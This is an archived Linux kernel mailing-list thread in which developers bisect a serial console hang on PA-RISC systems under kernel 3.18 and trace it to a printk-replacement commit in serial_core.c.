> > >>          Capabilities: [48] Power Management version 2
> > >>          Kernel driver in use: serial
> > >>
> > >>
> > >> dmesg after bootup:
> > >>
> > >> [   17.708000] Serial: 8250/16550 driver, 8 ports, IRQ sharing enabled
> > >> [   17.724000] serial 0000:00:04.1: enabling device (0142 -> 0143)
> > >> [   17.724000] console [ttyS0] disabled
> > >> [   17.880000] serial 0000:00:04.1: ttyS0 at MMIO 0xffffffff80000000 (irq = 70, base_baud = 115200) is a 16550A
> > >> [   17.996000] console [ttyS0] enabled
> > >> [   38.888000] INFO: rcu_sched detected stalls on CPUs/tasks: { 3} (detected by 1, t=5252 jiffies, g=-290, c=-291, q=2)
> > >> [   38.888000] Task dump for CPU 3:
> > >> [   38.888000] swapper/0       R  running task        0     1      0 0x00000004
> > >> [   38.888000] Backtrace:
> > >> [   38.888000]  [<0000000040200848>] vprintk_emit+0x570/0x5f8
> > >> [   38.888000]  [<0000000040200bdc>] printk+0x64/0x78
> > >> [   38.888000]  [<0000000040201fc0>] register_console+0x438/0x550
> > >> [   38.888000]  [<0000000040688bb8>] uart_add_one_port+0x400/0x5d0
> > >> [   38.888000]  [<000000004068e6d4>] serial8250_register_8250_port+0x3e4/0x448
> > >> [   38.888000]  [<0000000040695f44>] pciserial_init_ports+0x22c/0x2c8
> > >> [   38.888000]  [<0000000040696628>] pciserial_init_one+0x250/0x2e0
> > >> [   38.888000]  [<00000000405f3880>] pci_device_probe+0xb0/0x150
> > >> [   38.888000]  [<00000000406a8244>] driver_probe_device+0x204/0x570
> > >> [   38.888000]  [<00000000406a8728>] __driver_attach+0xe0/0x158
> > >> [   38.888000]  [<00000000406a4558>] bus_for_each_dev+0xd0/0x128
> > >> [   38.888000]  [<00000000406a76f8>] driver_attach+0x48/0x60
> > >> [   38.888000]  [<00000000406a6de8>] bus_add_driver+0x268/0x460
> > >> [   38.888000]  [<00000000406a915c>] driver_register+0x124/0x1d0
> > >> [   38.888000]  [<00000000405f336c>] __pci_register_driver+0x64/0x78
> > >> [   38.888000]  [<00000000401375e4>] serial_pci_driver_init+0x44/0x58
> > >>
> > >> [   59.084000] timer_interrupt(CPU 3): delayed! cycles 85EBC4C7D rem 2BAF83  next/now 2765C08677/276594D6F4
> > >> [   59.140000] bootconsole [ttyB0] disabled
> > >> [   59.144000] serial 0000:00:04.1: ttyS1 at MMIO 0xffffffff80000008 (irq = 70, base_baud = 115200) is a 16450
> > >> [   59.164000] serial 0000:00:04.1: ttyS2 at MMIO 0xffffffff80000010 (irq = 70, base_baud = 115200) is a 16550A
> > > 
> > > I confirm this behaviour on the Mako system as well.  In my case, 3.18
> > > so royally screws up the serial port that even a power cycle won't
> > > recover the console connection to the MP (a sort of parisc equivalent of
> > > a BMC) and I have to go down to the machine room to physically yank the
> > > power from the system to power down the MP and get the console back.
> > > I've added a cc to linux-serial.  It looks like there are 20 non merge
> > > commits between 3.17 and 3.18.  I'm betting because of the MP problem
> > > it's got to be somewhere in the serial driver:
> > > 
> > > cd92208 tty: serial: 8250_mtk: Fix quot calculation
> > > 716e115 serial: 8250_pci: remove rts_n override from Baytrail quirk
> > > 1ede7dc serial: 8250: Add Quark X1000 to 8250_pci.c
> > > 9137568 tty: serial: 8250_core: remove UART_IER_RDI in
> > > serial8250_stop_rx()
> > 
> > 
> > > 59b3e89 tty: serial: 8250_core: use the ->line argument as a hint in
> > > serial8250_find_match_or_unused()
> > ^^^^^^^^^
> > This commit would be my first guess, but a complete dmesg up to boot
> > failure would be helpful in narrowing down the problem. There are about
> > 50 ways to initialize the 8250 port (which is part of the problem).
> 
> Well, bisection says it's not this one.  Unfortunately, we crap out at
> this one:
> 
> ae14a79 tty: serial: 8250_core: provide a function to export
> uart_8250_port
> 
>   CC      drivers/tty/serial/8250/8250_core.o
> drivers/tty/serial/8250/8250_core.c: In function 'serial8250_ioctl':
> drivers/tty/serial/8250/8250_core.c:2857: error: 'TIOCSRS485' undeclared
> (first use in this function)
> drivers/tty/serial/8250/8250_core.c:2857: error: (Each undeclared
> identifier is reported only once
> drivers/tty/serial/8250/8250_core.c:2857: error: for each function it
> appears in.)
> drivers/tty/serial/8250/8250_core.c:2858: error: implicit declaration of
> function 'copy_from_user'
> drivers/tty/serial/8250/8250_core.c:2869: error: 'TIOCGRS485' undeclared
> (first use in this function)
> drivers/tty/serial/8250/8250_core.c:2870: error: implicit declaration of
> function 'copy_to_user'
> make[4]: *** [drivers/tty/serial/8250/8250_core.o] Error 1
> make[3]: *** [drivers/tty/serial/8250] Error 2
> make[2]: *** [drivers/tty/serial] Error 2
> make[1]: *** [drivers/tty] Error 2
> 
> I'll work out how to fix it in the morning ... but really, having a
> bisectable tree is supposed to be the first rule of a maintainer.

OK, I managed to bisect the rest of the tree compensating for the build
failure.  This is the failing commit (cc's added):

commit 2f2dafe77df2c78e189a9fa6b1879dffd06ae5a1
Author: Sudip Mukherjee <sudipm.mukherjee@gmail.com>
Date:   Mon Sep 1 20:49:43 2014 +0530

    serial: serial_core.c: printk replacement
 
I've confirmed by reverting against 3.19-rc2 and the system boots again.
This looks like a symptom of underlying problems within the dev_ print
helper accessors, so I'll dig further, but we'll need this reverted in
the meantime.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial
Subject: Re: serial console problem with kernel 3.18.0-rc4
Date: Thu, 01 Jan 2015 20:32:21 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <1420173141.2078.1.camel@HansenPartnership.com>
References: <54625FCD.3070008@gmx.de>
	 <1420076022.2085.12.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1420173154 1568 80.91.229.3 (2 Jan 2015 04:32:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2015 04:32:34 +0000 (UTC)
Cc: linux-serial@vger.kernel.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 05:32:27 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y6tuT-0002VH-NX
	for glpp-linux-parisc@plane.gmane.org; Fri, 02 Jan 2015 05:32:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751584AbbABEcY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 1 Jan 2015 23:32:24 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49733 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751531AbbABEcY (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 1 Jan 2015 23:32:24 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 31F1B8EE0CB;
	Thu,  1 Jan 2015 20:32:23 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Wk7VyEaW14-K; Thu,  1 Jan 2015 20:32:23 -0800 (PST)
Original-Received: from jarvis.lan (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id BA79D8EE0C8;
	Thu,  1 Jan 2015 20:32:22 -0800 (PST)
In-Reply-To: <1420076022.2085.12.camel@HansenPartnership.com>
X-Mailer: Evolution 3.12.7 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25525 gmane.linux.serial:17166
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25525>

On Wed, 2014-12-31 at 17:33 -0800, James Bottomley wrote:
> I confirm this behaviour on the Mako system as well.  In my case, 3.18
> so royally screws up the serial port that even a power cycle won't
> recover the console connection to the MP (a sort of parisc equivalent of
> a BMC) and I have to go down to the machine room to physically yank the
> power from the system to power down the MP and get the console back.

For those in parisc land following along, I've discovered that a remote
power down followed by a diagnostic reset of the MP will reconnect the
console, thus obviating trips to unplug the actual system.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sudip Mukherjee <sudipm.mukherjee@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial
Subject: Re: serial console problem with kernel 3.18.0-rc4
Date: Fri, 02 Jan 2015 11:04:23 +0530
Lines: 144
Approved: news@gmane.org
Message-ID: <54A62DDF.2000506@gmail.com>
References: <54625FCD.3070008@gmx.de>  <1420076022.2085.12.camel@HansenPartnership.com>  <54A4D388.7040008@hurleysoftware.com>  <1420102329.2085.15.camel@HansenPartnership.com> <1420150015.2085.3.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1420176880 17545 80.91.229.3 (2 Jan 2015 05:34:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2015 05:34:40 +0000 (UTC)
Cc: Peter Hurley <peter@hurleysoftware.com>,
	Helge Deller <deller@gmx.de>, linux-serial@vger.kernel.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 06:34:32 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y6usZ-0004VN-HA
	for glpp-linux-parisc@plane.gmane.org; Fri, 02 Jan 2015 06:34:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750704AbbABFe3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2015 00:34:29 -0500
Original-Received: from mail-pd0-f169.google.com ([209.85.192.169]:64249 "EHLO
	mail-pd0-f169.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750702AbbABFe2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2015 00:34:28 -0500
Original-Received: by mail-pd0-f169.google.com with SMTP id z10so23312134pdj.0;
        Thu, 01 Jan 2015 21:34:28 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=ctrCUmXpAqblAGv2eHvcZQBagqLgMnPpAR3TdIL4Gu0=;
        b=O2xr12i23nQZ8JZ3MFbE2YSpKKAz+r0F+CS7xTHzX6rWWiEyVAmIlGm7wFHdKMimYT
         J6RpNtWLGjIMw1LKqwQ73W2OzaBAtOc7dAXw+7KKqovtKJLPj9zSNaTGdq2YM/ShoJYA
         7lLcQHqwgvzEHsOQDJgZoTojCwEbE1TXU+2OnW3bq64DftW7KQcKb0oV7wKpUnrUUlbJ
         aJoUq8yeKYGEcb58B0z5LPd9xV37NL1xfRjfobAcu42SujX12EH0oZPwoE8lX9juqtKy
         Bb2t6Ij+Rhxx/rOaXMXOPHiS+9/8hCWO1FhOUiah8AUhtKEdT2kMpzA9heAQu7qnruWE
         OUyg==
X-Received: by 10.70.137.238 with SMTP id ql14mr120906352pdb.94.1420176868202;
        Thu, 01 Jan 2015 21:34:28 -0800 (PST)
Original-Received: from [192.168.1.50] ([122.169.164.21])
        by mx.google.com with ESMTPSA id rf7sm25306850pab.3.2015.01.01.21.34.25
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Thu, 01 Jan 2015 21:34:27 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130404 Thunderbird/17.0.5
In-Reply-To: <1420150015.2085.3.camel@HansenPartnership.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25526 gmane.linux.serial:17167
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25526>

On Friday 02 January 2015 03:36 AM, James Bottomley wrote:
> On Thu, 2015-01-01 at 00:52 -0800, James Bottomley wrote:
>> On Wed, 2014-12-31 at 23:56 -0500, Peter Hurley wrote:
>>> On 12/31/2014 08:33 PM, James Bottomley wrote:
>>>> On Tue, 2014-11-11 at 20:13 +0100, Helge Deller wrote:
>>>>> While testing kernel 3.18-rc4 I'm facing a problem with serial console.
>>>>>
>>>>> I'm seeing at bootup this message:
>>>>> [   17.724000] console [ttyS0] disabled
>>>>> after that it's just hanging.
>>>>>
>>>>> It seems as if ttyS0 is somehow being reprogrammed which then disturbs the
>>>>> serial ports on the receiver side (in my case a HP PCI Diva Serial [GSP] Multiport UART).
>>>>> Any idea what changed between 3.17 and 3.18 which have caused this behavior ?
>>>>> Full log below.
>>>>>
>>>>> Helge
>>> I apologize that I did not see this email back in November; I was having some
>>> email trouble at the time.
>>>
>>>>> serial driver: drivers/tty/serial/8250/8250_pci.c
>>>>>
>>>>> PCI info:
>>>>> 00:04.1 Serial controller: Hewlett-Packard Company Diva Serial [GSP] Multiport UART (rev 03) (prog-if 02 [16550])
>>>>>           Subsystem: Hewlett-Packard Company Device 1283
>>>>>           Flags: medium devsel, IRQ 70
>>>>>           Memory at ffffffff80000000 (32-bit, non-prefetchable) [size=4K]
>>>>>           I/O ports at 0040 [size=64]
>>>>>           Capabilities: [48] Power Management version 2
>>>>>           Kernel driver in use: serial
>>>>>
>>>>>
>>>>> dmesg after bootup:
>>>>>
>>>>> [   17.708000] Serial: 8250/16550 driver, 8 ports, IRQ sharing enabled
>>>>> [   17.724000] serial 0000:00:04.1: enabling device (0142 -> 0143)
>>>>> [   17.724000] console [ttyS0] disabled
>>>>> [   17.880000] serial 0000:00:04.1: ttyS0 at MMIO 0xffffffff80000000 (irq = 70, base_baud = 115200) is a 16550A
>>>>> [   17.996000] console [ttyS0] enabled
>>>>> [   38.888000] INFO: rcu_sched detected stalls on CPUs/tasks: { 3} (detected by 1, t=5252 jiffies, g=-290, c=-291, q=2)
>>>>> [   38.888000] Task dump for CPU 3:
>>>>> [   38.888000] swapper/0       R  running task        0     1      0 0x00000004
>>>>> [   38.888000] Backtrace:
>>>>> [   38.888000]  [<0000000040200848>] vprintk_emit+0x570/0x5f8
>>>>> [   38.888000]  [<0000000040200bdc>] printk+0x64/0x78
>>>>> [   38.888000]  [<0000000040201fc0>] register_console+0x438/0x550
>>>>> [   38.888000]  [<0000000040688bb8>] uart_add_one_port+0x400/0x5d0
>>>>> [   38.888000]  [<000000004068e6d4>] serial8250_register_8250_port+0x3e4/0x448
>>>>> [   38.888000]  [<0000000040695f44>] pciserial_init_ports+0x22c/0x2c8
>>>>> [   38.888000]  [<0000000040696628>] pciserial_init_one+0x250/0x2e0
>>>>> [   38.888000]  [<00000000405f3880>] pci_device_probe+0xb0/0x150
>>>>> [   38.888000]  [<00000000406a8244>] driver_probe_device+0x204/0x570
>>>>> [   38.888000]  [<00000000406a8728>] __driver_attach+0xe0/0x158
>>>>> [   38.888000]  [<00000000406a4558>] bus_for_each_dev+0xd0/0x128
>>>>> [   38.888000]  [<00000000406a76f8>] driver_attach+0x48/0x60
>>>>> [   38.888000]  [<00000000406a6de8>] bus_add_driver+0x268/0x460
>>>>> [   38.888000]  [<00000000406a915c>] driver_register+0x124/0x1d0
>>>>> [   38.888000]  [<00000000405f336c>] __pci_register_driver+0x64/0x78
>>>>> [   38.888000]  [<00000000401375e4>] serial_pci_driver_init+0x44/0x58
>>>>>
>>>>> [   59.084000] timer_interrupt(CPU 3): delayed! cycles 85EBC4C7D rem 2BAF83  next/now 2765C08677/276594D6F4
>>>>> [   59.140000] bootconsole [ttyB0] disabled
>>>>> [   59.144000] serial 0000:00:04.1: ttyS1 at MMIO 0xffffffff80000008 (irq = 70, base_baud = 115200) is a 16450
>>>>> [   59.164000] serial 0000:00:04.1: ttyS2 at MMIO 0xffffffff80000010 (irq = 70, base_baud = 115200) is a 16550A
>>>> I confirm this behaviour on the Mako system as well.  In my case, 3.18
>>>> so royally screws up the serial port that even a power cycle won't
>>>> recover the console connection to the MP (a sort of parisc equivalent of
>>>> a BMC) and I have to go down to the machine room to physically yank the
>>>> power from the system to power down the MP and get the console back.
>>>> I've added a cc to linux-serial.  It looks like there are 20 non merge
>>>> commits between 3.17 and 3.18.  I'm betting because of the MP problem
>>>> it's got to be somewhere in the serial driver:
>>>>
>>>> cd92208 tty: serial: 8250_mtk: Fix quot calculation
>>>> 716e115 serial: 8250_pci: remove rts_n override from Baytrail quirk
>>>> 1ede7dc serial: 8250: Add Quark X1000 to 8250_pci.c
>>>> 9137568 tty: serial: 8250_core: remove UART_IER_RDI in
>>>> serial8250_stop_rx()
>>>
>>>> 59b3e89 tty: serial: 8250_core: use the ->line argument as a hint in
>>>> serial8250_find_match_or_unused()
>>> ^^^^^^^^^
>>> This commit would be my first guess, but a complete dmesg up to boot
>>> failure would be helpful in narrowing down the problem. There are about
>>> 50 ways to initialize the 8250 port (which is part of the problem).
>> Well, bisection says it's not this one.  Unfortunately, we crap out at
>> this one:
>>
>> ae14a79 tty: serial: 8250_core: provide a function to export
>> uart_8250_port
>>
>>    CC      drivers/tty/serial/8250/8250_core.o
>> drivers/tty/serial/8250/8250_core.c: In function 'serial8250_ioctl':
>> drivers/tty/serial/8250/8250_core.c:2857: error: 'TIOCSRS485' undeclared
>> (first use in this function)
>> drivers/tty/serial/8250/8250_core.c:2857: error: (Each undeclared
>> identifier is reported only once
>> drivers/tty/serial/8250/8250_core.c:2857: error: for each function it
>> appears in.)
>> drivers/tty/serial/8250/8250_core.c:2858: error: implicit declaration of
>> function 'copy_from_user'
>> drivers/tty/serial/8250/8250_core.c:2869: error: 'TIOCGRS485' undeclared
>> (first use in this function)
>> drivers/tty/serial/8250/8250_core.c:2870: error: implicit declaration of
>> function 'copy_to_user'
>> make[4]: *** [drivers/tty/serial/8250/8250_core.o] Error 1
>> make[3]: *** [drivers/tty/serial/8250] Error 2
>> make[2]: *** [drivers/tty/serial] Error 2
>> make[1]: *** [drivers/tty] Error 2
>>
>> I'll work out how to fix it in the morning ... but really, having a
>> bisectable tree is supposed to be the first rule of a maintainer.
> OK, I managed to bisect the rest of the tree compensating for the build
> failure.  This is the failing commit (cc's added):
>
> commit 2f2dafe77df2c78e189a9fa6b1879dffd06ae5a1
> Author: Sudip Mukherjee <sudipm.mukherjee@gmail.com>
> Date:   Mon Sep 1 20:49:43 2014 +0530
>
>      serial: serial_core.c: printk replacement
>   
> I've confirmed by reverting against 3.19-rc2 and the system boots again.
> This looks like a symptom of underlying problems within the dev_ print
> helper accessors, so I'll dig further, but we'll need this reverted in
> the meantime.
Sure.
can dev_print hang the machine? if dev is NULL, it will just print using 
printk.
in vprintk_emit(), there is an Ouch for printk recursing into itself. 
can that be the cause?
and, can i help you somehow to find out the root cause of this ?

thanks
sudip
>
> James
>
>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial
Subject: Re: serial console problem with kernel 3.18.0-rc4
Date: Thu, 01 Jan 2015 23:26:11 -0800
Lines: 148
Approved: news@gmane.org
Message-ID: <1420183571.2078.3.camel@HansenPartnership.com>
References: <54625FCD.3070008@gmx.de>
	  <1420076022.2085.12.camel@HansenPartnership.com>
	  <54A4D388.7040008@hurleysoftware.com>
	  <1420102329.2085.15.camel@HansenPartnership.com>
	 <1420150015.2085.3.camel@HansenPartnership.com>
	 <54A62DDF.2000506@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1420183587 7826 80.91.229.3 (2 Jan 2015 07:26:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2015 07:26:27 +0000 (UTC)
Cc: Peter Hurley <peter@hurleysoftware.com>,
	Helge Deller <deller@gmx.de>, linux-serial@vger.kernel.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
To: Sudip Mukherjee <sudipm.mukherjee@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 08:26:19 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y6wck-0006eu-2s
	for glpp-linux-parisc@plane.gmane.org; Fri, 02 Jan 2015 08:26:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750712AbbABH0O (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2015 02:26:14 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:50029 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750711AbbABH0O (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2015 02:26:14 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 760278EE0CB;
	Thu,  1 Jan 2015 23:26:13 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id uv1X_RUH9dEt; Thu,  1 Jan 2015 23:26:13 -0800 (PST)
Original-Received: from jarvis.lan (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id DEFE68EE0C8;
	Thu,  1 Jan 2015 23:26:12 -0800 (PST)
In-Reply-To: <54A62DDF.2000506@gmail.com>
X-Mailer: Evolution 3.12.7 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25527 gmane.linux.serial:17168
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25527>

On Fri, 2015-01-02 at 11:04 +0530, Sudip Mukherjee wrote:
> On Friday 02 January 2015 03:36 AM, James Bottomley wrote:
> > On Thu, 2015-01-01 at 00:52 -0800, James Bottomley wrote:
> >> On Wed, 2014-12-31 at 23:56 -0500, Peter Hurley wrote:
> >>> On 12/31/2014 08:33 PM, James Bottomley wrote:
> >>>> On Tue, 2014-11-11 at 20:13 +0100, Helge Deller wrote:
> >>>>> While testing kernel 3.18-rc4 I'm facing a problem with serial console.
> >>>>>
> >>>>> I'm seeing at bootup this message:
> >>>>> [   17.724000] console [ttyS0] disabled
> >>>>> after that it's just hanging.
> >>>>>
> >>>>> It seems as if ttyS0 is somehow being reprogrammed which then disturbs the
> >>>>> serial ports on the receiver side (in my case a HP PCI Diva Serial [GSP] Multiport UART).
> >>>>> Any idea what changed between 3.17 and 3.18 which have caused this behavior ?
> >>>>> Full log below.
> >>>>>
> >>>>> Helge
> >>> I apologize that I did not see this email back in November; I was having some
> >>> email trouble at the time.
> >>>
> >>>>> serial driver: drivers/tty/serial/8250/8250_pci.c
> >>>>>
> >>>>> PCI info:
> >>>>> 00:04.1 Serial controller: Hewlett-Packard Company Diva Serial [GSP] Multiport UART (rev 03) (prog-if 02 [16550])
> >>>>>           Subsystem: Hewlett-Packard Company Device 1283
> >>>>>           Flags: medium devsel, IRQ 70
> >>>>>           Memory at ffffffff80000000 (32-bit, non-prefetchable) [size=4K]
> >>>>>           I/O ports at 0040 [size=64]
> >>>>>           Capabilities: [48] Power Management version 2
> >>>>>           Kernel driver in use: serial
> >>>>>
> >>>>>
> >>>>> dmesg after bootup:
> >>>>>
> >>>>> [   17.708000] Serial: 8250/16550 driver, 8 ports, IRQ sharing enabled
> >>>>> [   17.724000] serial 0000:00:04.1: enabling device (0142 -> 0143)
> >>>>> [   17.724000] console [ttyS0] disabled
> >>>>> [   17.880000] serial 0000:00:04.1: ttyS0 at MMIO 0xffffffff80000000 (irq = 70, base_baud = 115200) is a 16550A
> >>>>> [   17.996000] console [ttyS0] enabled
> >>>>> [   38.888000] INFO: rcu_sched detected stalls on CPUs/tasks: { 3} (detected by 1, t=5252 jiffies, g=-290, c=-291, q=2)
> >>>>> [   38.888000] Task dump for CPU 3:
> >>>>> [   38.888000] swapper/0       R  running task        0     1      0 0x00000004
> >>>>> [   38.888000] Backtrace:
> >>>>> [   38.888000]  [<0000000040200848>] vprintk_emit+0x570/0x5f8
> >>>>> [   38.888000]  [<0000000040200bdc>] printk+0x64/0x78
> >>>>> [   38.888000]  [<0000000040201fc0>] register_console+0x438/0x550
> >>>>> [   38.888000]  [<0000000040688bb8>] uart_add_one_port+0x400/0x5d0
> >>>>> [   38.888000]  [<000000004068e6d4>] serial8250_register_8250_port+0x3e4/0x448
> >>>>> [   38.888000]  [<0000000040695f44>] pciserial_init_ports+0x22c/0x2c8
> >>>>> [   38.888000]  [<0000000040696628>] pciserial_init_one+0x250/0x2e0
> >>>>> [   38.888000]  [<00000000405f3880>] pci_device_probe+0xb0/0x150
> >>>>> [   38.888000]  [<00000000406a8244>] driver_probe_device+0x204/0x570
> >>>>> [   38.888000]  [<00000000406a8728>] __driver_attach+0xe0/0x158
> >>>>> [   38.888000]  [<00000000406a4558>] bus_for_each_dev+0xd0/0x128
> >>>>> [   38.888000]  [<00000000406a76f8>] driver_attach+0x48/0x60
> >>>>> [   38.888000]  [<00000000406a6de8>] bus_add_driver+0x268/0x460
> >>>>> [   38.888000]  [<00000000406a915c>] driver_register+0x124/0x1d0
> >>>>> [   38.888000]  [<00000000405f336c>] __pci_register_driver+0x64/0x78
> >>>>> [   38.888000]  [<00000000401375e4>] serial_pci_driver_init+0x44/0x58
> >>>>>
> >>>>> [   59.084000] timer_interrupt(CPU 3): delayed! cycles 85EBC4C7D rem 2BAF83  next/now 2765C08677/276594D6F4
> >>>>> [   59.140000] bootconsole [ttyB0] disabled
> >>>>> [   59.144000] serial 0000:00:04.1: ttyS1 at MMIO 0xffffffff80000008 (irq = 70, base_baud = 115200) is a 16450
> >>>>> [   59.164000] serial 0000:00:04.1: ttyS2 at MMIO 0xffffffff80000010 (irq = 70, base_baud = 115200) is a 16550A
> >>>> I confirm this behaviour on the Mako system as well.  In my case, 3.18
> >>>> so royally screws up the serial port that even a power cycle won't
> >>>> recover the console connection to the MP (a sort of parisc equivalent of
> >>>> a BMC) and I have to go down to the machine room to physically yank the
> >>>> power from the system to power down the MP and get the console back.
> >>>> I've added a cc to linux-serial.  It looks like there are 20 non merge
> >>>> commits between 3.17 and 3.18.  I'm betting because of the MP problem
> >>>> it's got to be somewhere in the serial driver:
> >>>>
> >>>> cd92208 tty: serial: 8250_mtk: Fix quot calculation
> >>>> 716e115 serial: 8250_pci: remove rts_n override from Baytrail quirk
> >>>> 1ede7dc serial: 8250: Add Quark X1000 to 8250_pci.c
> >>>> 9137568 tty: serial: 8250_core: remove UART_IER_RDI in
> >>>> serial8250_stop_rx()
> >>>
> >>>> 59b3e89 tty: serial: 8250_core: use the ->line argument as a hint in
> >>>> serial8250_find_match_or_unused()
> >>> ^^^^^^^^^
> >>> This commit would be my first guess, but a complete dmesg up to boot
> >>> failure would be helpful in narrowing down the problem. There are about
> >>> 50 ways to initialize the 8250 port (which is part of the problem).
> >> Well, bisection says it's not this one.  Unfortunately, we crap out at
> >> this one:
> >>
> >> ae14a79 tty: serial: 8250_core: provide a function to export
> >> uart_8250_port
> >>
> >>    CC      drivers/tty/serial/8250/8250_core.o
> >> drivers/tty/serial/8250/8250_core.c: In function 'serial8250_ioctl':
